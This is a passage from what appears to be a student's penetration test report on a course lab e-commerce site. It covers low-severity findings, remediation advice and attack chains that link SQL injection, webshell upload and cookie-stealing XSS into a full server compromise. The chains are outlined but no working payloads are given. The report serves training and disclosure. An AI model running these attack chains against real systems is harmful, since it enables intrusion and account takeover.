L5 — Exposed Build Log in /test/ Directory
#

Field Value
Severity Low (CVSS 3.7)
CVSS Vector AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected Endpoint /test/build_log.txt
CWE CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory
Authentication Required None

A GitHub Actions build log file is publicly accessible in the /test/ directory, revealing CI/CD pipeline details, internal paths, and potentially sensitive build configuration.

/test/ directory listing
Exposed build log contents

Remediation: Remove test artifacts from production. Block access to /test/ or delete it entirely.


L6 — Debug Information Disclosure in Forum API Response
#

Field Value
Severity Informational
CWE CWE-215: Insertion of Sensitive Information Into Debugging Code
Affected Endpoint POST /api/forum/post.php
Authentication Required Yes

When creating a forum post, the API response includes internal user IDs and debug information that should only be visible server-side.

User ID disclosure in API response

Remediation: Strip internal identifiers and debug data from production API responses.


L7 — Incomplete Password Reset Functionality (Dead Endpoint)
#

Field Value
Severity Informational
CWE CWE-640: Weak Password Recovery Mechanism for Forgotten Password
Affected Endpoints /forgot_password.php, /reset_confirm.php

The password reset page at /forgot_password.php presents a form, but the email functionality does nothing. The OTP verification button links to reset_confirm.php, which returns a 404 error. This appears to be an incomplete feature deployed to production.

Forgot password form — non-functional
reset_confirm.php returns 404

Remediation: Remove incomplete features from production. Deploy only when fully implemented and tested.


L8 — Missing Security Headers
#

Field Value
Severity Informational
CWE CWE-693: Protection Mechanism Failure
Affected Asset All responses

The application is missing several recommended security headers, as confirmed by Nuclei:

  • Content-Security-Policy
  • X-Content-Type-Options
  • X-Frame-Options (also see M3 — Clickjacking via Missing Frame Protections)
  • Strict-Transport-Security
  • Referrer-Policy
  • Permissions-Policy
  • Cross-Origin-Embedder-Policy
  • Cross-Origin-Opener-Policy
  • Cross-Origin-Resource-Policy

Remediation: Implement security headers at the web server level. A reasonable baseline:

Header set X-Content-Type-Options "nosniff"
Header set X-Frame-Options "DENY"
Header set Referrer-Policy "strict-origin-when-cross-origin"
Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
Header set Permissions-Policy "geolocation=(), camera=(), microphone=()"

L9 — Missing CSRF Protection on Cart Operations
#

Field Value
Severity Low (CVSS 3.5)
CVSS Vector AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N
CWE CWE-352: Cross-Site Request Forgery
Affected Endpoint Cart add/remove/checkout functionality
Authentication Required User

No CSRF tokens are present on any cart operation — adding items, removing items, or proceeding to checkout. A malicious page can silently submit these actions on behalf of a logged-in user without their knowledge.

While the impact is lower than account takeover CSRF (H5), this is a complete absence of CSRF controls on commercially sensitive operations. Combined with the open redirect (M1) and stored XSS (H2), an attacker could manipulate a victim’s cart contents or trigger unwanted purchases.

Remediation: Implement CSRF tokens on all cart and checkout endpoints, consistent with the token pattern already partially deployed on update_profile.php.


Attack Chain Summary
#

The following chain demonstrates how individual findings combine into a full compromise scenario, achievable by an unauthenticated attacker:

Unauthenticated Attacker
[C1] SQL Injection in /store.php?search=
        │ Extract admin bcrypt hash
    Offline hash cracking (viable due to weak password policy — L1)
    Admin login
[C2] Upload PHP webshell via logo change
    Remote Code Execution as www-data
    Server compromised

Alternative path via session hijacking (no hash cracking required):

Authenticated Attacker (standard user)
[H2] Stored XSS in forum post (title or content)
        │ Steals admin's cookie via document.cookie
        │ (possible because HttpOnly is not set — H8)
    Admin session hijacked
[C2] Upload PHP webshell → RCE

Account takeover chain:

[H2] XSS steals session cookie (H8 enables this)
[H7] Change password/email without current password
[H10] Old session still works — victim can't detect takeover
    Permanent account takeover

Remediation Priorities
#

Based on the findings, remediation should be addressed in the following order:

Immediate (Critical Risk)
#

  1. Parameterize all SQL queries — eliminates C1 and any other potential injection points
  2. Implement server-side file upload validation — whitelist extensions, validate content, store outside web root
  3. Set HttpOnly, Secure, and SameSite=Strict on all session cookies — reduces impact of all XSS findings

Short-Term (High Risk)
#

  1. Sanitize all user output with htmlspecialchars() — eliminates H2, H3, M7
  2. Regenerate session IDs on login — fixes H9
  3. Invalidate sessions on credential change and require current password — fixes H7, H10
  4. Enforce CSRF protection on all HTTP methods — fixes H5
  5. Derive user identity from session, not user input — fixes H6
  6. Whitelist the lang parameter and block path traversal — fixes H1
  7. Restrict SSRF on avatar import — block internal IPs — fixes H4

Medium-Term (Hardening)
#

  1. Implement rate limiting on authentication endpoints
  2. Add security headers (CSP, X-Frame-Options, HSTS)
  3. Enforce server-side region restrictions
  4. Normalize error messages to prevent enumeration
  5. Disable directory listing
  6. Remove development artifacts and debug endpoints from production

Conclusion
#

I really enjoyed this Web application pentesting course. I truly learned a ton of valuable information and want to thank Tyler Ramsbey for making such good content. I had a lot of fun working through this challenge. I really built up my methodology from the course content and actually getting to put it into practice with the labs and capstone at the end was very nice.

The Hack Smarter e-commerce application contains many security weaknesses across most web categories like input validation, authentication, session management, access controls, and configuration. The two critical findings alone represent a complete compromise path from anonymous visitor to server-level code execution.

What makes this application particularly dangerous is not any single vulnerability in isolation, but how they chain together. Weak cookies amplify XSS. Missing re-authentication amplifies session theft. Verbose errors accelerate SQL injection. Client-side-only controls provide no real security. Each finding compounds the next.

The remediation priorities outlined above are ordered to maximize security improvement per unit of effort. Fixing the top three items: parameterized queries, upload validation, and secure cookie flags would eliminate the two complete compromise chains and significantly reduce the blast radius of remaining findings.


Report prepared by Liam Smydo, Posted on : liamsmydo.com | github.com/01xmm